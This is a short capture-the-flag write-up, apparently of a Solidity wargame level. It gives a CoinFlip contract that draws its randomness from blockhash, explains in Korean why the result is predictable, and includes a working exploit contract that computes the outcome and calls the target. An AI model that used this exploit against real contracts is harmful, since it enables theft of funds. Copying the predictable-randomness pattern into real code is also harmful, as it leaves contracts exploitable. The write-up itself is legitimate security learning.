Coinflip

Prob

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

 

PoC

동전의 앞, 뒷면(true,false)를 10번 맞추면 되는 문제

factor와 block number은 미리 알 수 있기 때문에 동전 앞,뒷면을 예측할 수 있습니다.

interface ICoinFlip{
    function flip(bool _guess) external returns (bool);
}
contract exploit {
    function attack() public{
        ICoinFlip target = ICoinFlip(0xF312A8f555137415878f323479780abc9a0d9Ab6);
        uint factor = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

        uint blockValue = uint(blockhash(block.number - 1));
        uint coinflip = blockValue / factor;
        bool side = coinflip == 1 ? true : false;

        target.flip(side);
    }
}